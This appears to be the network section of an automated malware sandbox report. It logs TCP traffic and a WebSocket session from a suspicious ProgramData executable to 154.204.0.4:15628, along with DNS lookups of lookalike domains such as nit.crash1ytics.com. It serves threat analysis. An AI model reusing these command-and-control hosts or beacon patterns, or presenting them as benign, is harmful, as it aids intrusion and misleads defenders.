Jul 20, 2024 11:54:25.828561068 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.831250906 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.836159945 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.839777946 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.844979048 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.849406004 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.855001926 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.855803013 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.860714912 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.863199949 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.868108988 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.871822119 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.876827002 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.879264116 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.895421982 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.899806976 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.905792952 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.907284975 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.912266970 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.915800095 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.920840025 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.923332930 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.929601908 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.931164026 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.936022997 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.939517021 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.944529057 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.947179079 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.951992989 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.955176115 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.960040092 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.963372946 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.968513966 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.971124887 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.976103067 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.976208925 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.981113911 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.981245995 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.986068964 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.987260103 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.992238998 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:25.995007992 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:25.999937057 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.003202915 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.008121967 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.008265018 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.013088942 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.015320063 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.020138025 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.023243904 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.028449059 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.031407118 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.036221027 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.039911985 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.044872046 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.045212030 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.050123930 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.050278902 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.055607080 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.055815935 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.060718060 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.063384056 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.068201065 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.069375992 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.074244022 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.076029062 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.080862045 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.081103086 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.086527109 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.086728096 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.091655970 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.091851950 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.096643925 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.096744061 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.101596117 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.101703882 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.106554985 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.109076977 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.113887072 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.114526033 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.119352102 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.123210907 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.128199100 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.130814075 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.135624886 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.142132998 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.147069931 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.151154041 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.156138897 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.156224966 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.161201954 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.161386967 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.166523933 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.166677952 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.171469927 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.171926022 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.176796913 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.179044962 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.183983088 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.187529087 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.192493916 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.192579031 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.197460890 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.201670885 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.206569910 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.206650019 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.211747885 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.212011099 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.216804028 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.218961954 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.224091053 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.224380016 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.229314089 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.229656935 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.234713078 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.234867096 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.240151882 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.240286112 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.247665882 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.247777939 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.253552914 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.254192114 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.263197899 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.267205954 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.272198915 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.272284985 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.277261972 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.277338982 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.282881021 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.282952070 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.287863970 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.287956953 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.293764114 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.293872118 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.300820112 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.300952911 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.306485891 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.306580067 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.311595917 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.315354109 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.322191954 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.322289944 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.329689980 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.329786062 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.357542038 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.357589006 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.357779980 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.362607956 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.362690926 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.362710953 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.374439001 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.376008987 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.380956888 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.385097980 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.400048018 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.403085947 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.428363085 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.446527004 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.447110891 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.447238922 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.454832077 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.455070019 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.467334032 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.467557907 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.482364893 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.483139992 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.491960049 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.496155024 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.506381035 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.507030010 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.512187004 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.513138056 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.521536112 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.524051905 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.553029060 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.555761099 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.555879116 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.560786009 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.560802937 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.563431978 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.568344116 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.571938992 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.577310085 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.579430103 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.584418058 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.588025093 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.592972040 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.595508099 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.600832939 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.603976965 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.608875036 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.611625910 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.616909981 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.619045973 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.624135971 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.627724886 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.632631063 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.635116100 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.640517950 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.643661022 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.648720026 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.651104927 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.655968904 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.659738064 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.664876938 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.667263031 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.672139883 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.675698996 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.682420015 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.683092117 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.688009977 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.691612959 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.696830034 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.699059010 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.705574036 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:54:26.705653906 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:54:26.713144064 CEST	15628	49715	154.204.0.4	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 20, 2024 11:53:16.328318119 CEST	192.168.2.5	1.1.1.1	0x6ca0	Standard query (0)	ws-ap1.pusher.com	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:17.701230049 CEST	192.168.2.5	1.1.1.1	0xe58a	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:17.701633930 CEST	192.168.2.5	1.1.1.1	0x4ed7	Standard query (0)	www.yandex.com	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:17.702538967 CEST	192.168.2.5	1.1.1.1	0xf378	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.022226095 CEST	192.168.2.5	1.1.1.1	0xcb3e	Standard query (0)	in.appcenter.ms	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.086152077 CEST	192.168.2.5	1.1.1.1	0x762	Standard query (0)	d1dmgcawtbm6l9.cloudfront.net	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.114381075 CEST	192.168.2.5	8.8.8.8	0xba66	Standard query (0)	nit.crash1ytics.com	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.118480921 CEST	192.168.2.5	8.8.8.8	0xbcb8	Standard query (0)	nal.fqoqehwib.com	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.122672081 CEST	192.168.2.5	8.8.8.8	0xe7cd	Standard query (0)	chr.alipayassets.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 20, 2024 11:53:16.358129978 CEST	1.1.1.1	192.168.2.5	0x6ca0	No error (0)	ws-ap1.pusher.com	socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2024 11:53:16.358129978 CEST	1.1.1.1	192.168.2.5	0x6ca0	No error (0)	socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com		18.139.183.38	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:16.358129978 CEST	1.1.1.1	192.168.2.5	0x6ca0	No error (0)	socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com		18.139.169.84	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:16.358129978 CEST	1.1.1.1	192.168.2.5	0x6ca0	No error (0)	socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com		18.136.78.90	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:17.709574938 CEST	1.1.1.1	192.168.2.5	0xe58a	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2024 11:53:17.709574938 CEST	1.1.1.1	192.168.2.5	0xe58a	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2024 11:53:17.709574938 CEST	1.1.1.1	192.168.2.5	0xe58a	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:17.709574938 CEST	1.1.1.1	192.168.2.5	0xe58a	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:17.710146904 CEST	1.1.1.1	192.168.2.5	0xf378	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:17.712580919 CEST	1.1.1.1	192.168.2.5	0x4ed7	No error (0)	www.yandex.com	yandex.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2024 11:53:17.712580919 CEST	1.1.1.1	192.168.2.5	0x4ed7	No error (0)	yandex.com		5.255.255.77	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:17.712580919 CEST	1.1.1.1	192.168.2.5	0x4ed7	No error (0)	yandex.com		77.88.44.55	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:17.712580919 CEST	1.1.1.1	192.168.2.5	0x4ed7	No error (0)	yandex.com		77.88.55.88	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.030483007 CEST	1.1.1.1	192.168.2.5	0xcb3e	No error (0)	in.appcenter.ms	in-prod-pme-eastus2-ingestion-66ddb56a.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2024 11:53:18.108284950 CEST	1.1.1.1	192.168.2.5	0x762	No error (0)	d1dmgcawtbm6l9.cloudfront.net		108.138.24.227	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.108284950 CEST	1.1.1.1	192.168.2.5	0x762	No error (0)	d1dmgcawtbm6l9.cloudfront.net		108.138.24.13	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.108284950 CEST	1.1.1.1	192.168.2.5	0x762	No error (0)	d1dmgcawtbm6l9.cloudfront.net		108.138.24.182	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.108284950 CEST	1.1.1.1	192.168.2.5	0x762	No error (0)	d1dmgcawtbm6l9.cloudfront.net		108.138.24.115	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.355273962 CEST	8.8.8.8	192.168.2.5	0xba66	No error (0)	nit.crash1ytics.com		67.137.174.254	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.355273962 CEST	8.8.8.8	192.168.2.5	0xba66	No error (0)	nit.crash1ytics.com		142.242.204.31	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.355273962 CEST	8.8.8.8	192.168.2.5	0xba66	No error (0)	nit.crash1ytics.com		19.88.16.251	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.355273962 CEST	8.8.8.8	192.168.2.5	0xba66	No error (0)	nit.crash1ytics.com		223.61.70.52	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.360198975 CEST	8.8.8.8	192.168.2.5	0xbcb8	No error (0)	nal.fqoqehwib.com		5.217.108.181	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.360198975 CEST	8.8.8.8	192.168.2.5	0xbcb8	No error (0)	nal.fqoqehwib.com		99.34.124.121	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.360198975 CEST	8.8.8.8	192.168.2.5	0xbcb8	No error (0)	nal.fqoqehwib.com		10.176.38.125	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.360198975 CEST	8.8.8.8	192.168.2.5	0xbcb8	No error (0)	nal.fqoqehwib.com		104.112.172.245	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.360198975 CEST	8.8.8.8	192.168.2.5	0xbcb8	No error (0)	nal.fqoqehwib.com		33.86.72.19	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.362880945 CEST	8.8.8.8	192.168.2.5	0xe7cd	No error (0)	chr.alipayassets.com		222.91.58.119	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.362880945 CEST	8.8.8.8	192.168.2.5	0xe7cd	No error (0)	chr.alipayassets.com		85.222.79.57	A (IP address)	IN (0x0001)	false
Jul 20, 2024 11:53:18.362880945 CEST	8.8.8.8	192.168.2.5	0xe7cd	No error (0)	chr.alipayassets.com		12.206.118.229	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49715	154.204.0.4	15628	5792	C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 11:52:37.868513107 CEST	228	OUT	GET /\ HTTP/1.1 Connection: Upgrade Sec-WebSocket-Key: BJMgFBCGKbcECzIBKlAeBiCCE Sec-WebSocket-Version: 13 Upgrade: websocket Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits Host: 154.204.0.4:15628
Jul 20, 2024 11:52:38.763931036 CEST	148	IN	HTTP/1.1 101 Switching Protocols Connection: Upgrade Upgrade: WebSocket Sec-WebSocket-Accept: 4OHw74m9sFvkqE9zwNq54a2Ibac= Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49718	18.139.183.38	80	7812	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 11:53:16.546035051 CEST	265	OUT	GET /app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.2 HTTP/1.1 Host: ws-ap1.pusher.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Version: 13 Sec-WebSocket-Key: YzFkYjI5ZTUtZTE4MS00NQ== Origin: ws://ws-ap1.pusher.com
Jul 20, 2024 11:53:17.361038923 CEST	166	IN	HTTP/1.1 101 Switching Protocols Date: Sat, 20 Jul 2024 09:53:17 GMT Connection: upgrade Upgrade: websocket Sec-WebSocket-Accept: EHegDZYRA1P9ViIRCdf5dHL2TQc=
Jul 20, 2024 11:53:17.570550919 CEST	166	IN	HTTP/1.1 101 Switching Protocols Date: Sat, 20 Jul 2024 09:53:17 GMT Connection: upgrade Upgrade: websocket Sec-WebSocket-Accept: EHegDZYRA1P9ViIRCdf5dHL2TQc=
